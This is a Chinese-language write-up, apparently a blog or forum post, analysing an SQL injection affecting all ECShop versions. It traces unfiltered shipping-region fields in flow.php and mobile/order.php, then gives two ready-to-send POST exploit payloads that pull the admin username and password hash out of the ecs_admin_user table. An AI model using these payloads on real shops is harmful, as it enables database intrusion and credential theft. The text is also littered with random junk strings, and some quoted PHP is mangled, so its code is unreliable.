ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。
- E% }2 |6 o7 z' X' }+ w0 M
    漏洞关键文件：
$ N7 q# s3 y! Y% x+ [
    /includes/lib_order.php

    关键函数：


0 U( `6 v5 R9 k, y; R0 x9 `
01     function available_shipping_list($region_id_list)
7 a  b+ n- \" J& C. v
02 {

* h* |$ B) E) y" p; P) ]% n03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
. G5 h; M: q# t6 n# ?, n' q
5 g2 M# E3 Z) o# |/ j04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
8 U6 S7 {% Y; V, V$ o* D
$ M+ L2 b1 ~, K* X05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .

06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
% D3 B5 D' O) Z" \* n8 K' a
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
" O: x9 D# S4 r9 _( B8 _
; l" B0 k$ X- W# m08             'WHERE r.region_id ' . db_create_in($region_id_list) .
( {. |* h4 a! Y& l; U. b
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
. s+ _% ?, L% _
10   

11     return $GLOBALS['db']->getAll($sql);

5 R' _0 J+ k1 {8 x0 s12 }
5 e2 |1 t0 G4 u! R+ k# Y
# M5 `" d4 m( w  p" M- b/ F显然对传入的参数没有任何过滤就带入了查询语句。

8 q$ l3 [, T$ T, J下面我们追踪这个函数在flow.php中：
第531行：   

1 $shipping_list     = available_shipping_list($region);
3 K  E! z0 \8 s( u: I0 z
# e7 ~* C0 u: V( o: f' [9 @
. V! Y7 e1 ~$ O! J& Y, B! G" h


再对传入变量进行追踪：

第530行：   
4 z5 G9 R1 k/ ^
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
, K8 W' J! f. M
/ n& f; x5 l0 _- w* U

' G. |: @' d+ E% ]* i# y) q
; Q% G3 [  O/ J
7 z6 ~! u2 i3 a, i: |4 }% l1 t7 ~第473行：        
. L5 p  `, g* a+ g! m+ g
0 W& N* ?( G7 @! _1 $consignee = get_consignee($_SESSION['user_id']);
* W8 z. [( v  H+ I% L
3 I; f5 p4 R2 |- z4 i1 U到了一个关键函数：

0 I1 J! e% p% n# r/includes/lib_order.php



( r: c5 u9 j, F5 x& v
5 R' O. L" @% ?; x: ~5 l2 u
01 function get_consignee($user_id)
7 ~/ L4 m0 I, B
/ j' }# ]- M3 y4 E02 {
' N3 t- C1 g+ Y7 g  K2 J
03     if (isset($_SESSION['flow_consignee']))
8 L; G# i) R' a1 N1 M1 [
04     {

5 K3 e) E' D5 N" D05         /* 如果存在session，则直接返回session中的收货人信息 */

. Y) m7 X- ]+ w5 s6 A: Z06   

9 }$ y$ f4 J+ K3 K3 C; }" \07         return $_SESSION['flow_consignee'];
% O5 I0 Z: w, ?
08     }
: p6 i) r4 O8 `) O  D
09     else

5 Q6 n) L' j: ^( j10     {

4 N% H% f1 _% S! g' l' _* X11         /* 如果不存在，则取得用户的默认收货人信息 */
% n; T/ H$ E" X1 Q9 s$ d
& @* Z" n5 e& Y" i8 \& K' S12         $arr = array();

9 G4 `6 u, b1 d( F: \13   

+ Q' [" S1 F9 V14         if ($user_id > 0)
! C# d0 r7 m  D. [3 y
' g0 H$ t; I& A. A7 x$ ]15         {
  f" }: T. f1 K7 r$ ]3 c
16             /* 取默认地址 */
. x4 j  G. S0 j" R( v
  m; N8 u4 ]* t5 E& Y% T* ^17             $sql = "SELECT ua.*".

4 d1 ]" }. h. t' I/ P2 w" _! G18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
1 Q/ Q; H3 T8 ^! ^0 w
7 W4 C8 b5 ?8 z1 Q  t19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
3 g4 \+ @/ s$ o6 R* u$ ?
20   
+ S% O4 Z# N8 {$ b; g4 Y
21             $arr = $GLOBALS['db']->getRow($sql);
  [, f; E8 ?( x8 I
22         }

. y6 z  f5 E. b: @+ Q: G5 h0 X23   
" ?7 [4 m; P7 \$ G! M) ]5 P5 P
5 S+ j" ]' h0 G) x, d24         return $arr;
2 G( n: Q& M6 F
25     }
7 x: W! H" L8 h# I/ i
9 T, I, Z" M+ ^# E9 q5 \26 }

: A$ U3 d; p! ]9 i显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？


7 ?( M% I) k0 G5 d: e& _5 z
9 W7 Y$ S1 S- d" E- [' u关键点:
; E! Z  e* T6 {9 Y& t$ l9 x! k& f; l+ ]
第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);

这里对传入参数反转义存入$_SESSION中。

! \, `' h" ^. P4 H! J. i
3 c: C. P, \7 `2 G: t2 B
$ l! F/ S+ X' W3 r. a然后看下：
" L4 |5 h* U* U8 ^


* m# T1 J7 N+ ~0 G9 q4 U; E2 G6 a   

01 $consignee = array(

02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),

03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),

2 ~2 i/ s0 x5 ?' |04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
. M% D  B- C1 J9 r3 V! ~* G
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
# d3 p" J8 X, `# y' A
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
$ B* L# e% r7 E. k. g7 Y
' h6 @% Z. Y" \$ G) O' O07         'district'      => empty($_POST['district'])   ? '' _POST['district'],

" c, d" X8 m& B$ `0 _0 q08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
2 F* a9 T- O5 x5 Z2 B
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
% \. g6 c! B. y2 `8 i) p2 E
8 f( H4 |6 g$ V  H10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),

11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
  u4 Q7 Z# R$ j# B+ B; a
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
( a6 K1 u' {/ P  s: s3 d
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
3 l* G; X7 U/ _8 j' y$ v' ]7 f
0 J* U2 ]. A" M( _# ~  p14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
, T4 l$ G6 h! B' }
: p  w% [3 k6 T' G# p15     );
3 a; {! i* Z' o
* k# S+ D, E3 i% e9 c$ `好了注入就这样出现了。

( y1 J: w- c" V( Z0 a! x==================
1 x( E+ Z1 k$ s; Q- B' X
% n" @9 B* l; V6 ^注入测试：

' J4 @9 r7 I; f) c! }- N4 b0 x环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
! \$ x/ P* X) F* ~
& C) C) d6 z6 E4 I测试程序：ECShop_V2.7.3_UTF8_release1106


7 {: e- {# r: i, l( e
. ]) |6 ?- b- M6 t1 r1.首先需要点击一个商品加入购物车
- ~. n+ Z2 I- |2 H5 ]
& S% \1 q# q7 ]  O% ?2 [6 ^2.注册一个会员帐号

3.post提交数据
$ f7 M" O, Z3 E3 V; c
/ L5 k+ o! w1 E$ S5 ~
5 V+ Q3 t2 `5 ^7 v5 w4 j5 ~
1 http://127.0.0.1/ecshop/flow.php
& N6 Y4 w4 k/ M4 B- Z" ^) V& k% X
) K( R3 G; x4 o7 E' c* T4 z2   

1 |+ m5 ~) M+ m; N& M( ^3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
举一反三，我们根据这个漏洞我们可以继续深入挖掘：
% \3 S+ Y6 N8 G  }1 l
& U+ q. z% m; P4 f我们搜寻关键函数function available_shipping_list()

在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同
- B2 J; @# A, j) n- Q6 K$ [
; p, P# P# ^. b2 |利用exp:
: s+ ^& {  S1 Q- E
1.点击一个商品，点击购买商标
0 a! m4 V" R: Z
. D; N3 _- N; K6 e7 W2.登录会员帐号

3.post提交：
0 y0 }" `: b6 y" w
http://127.0.0.1/ecshop/mobile/order.php


/ z: K/ Q: N5 ^2 b+ h. _
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
! x& T4 F" G. K9 }6 ]0 r' a
& h6 q: R/ Q. n4 S- c% G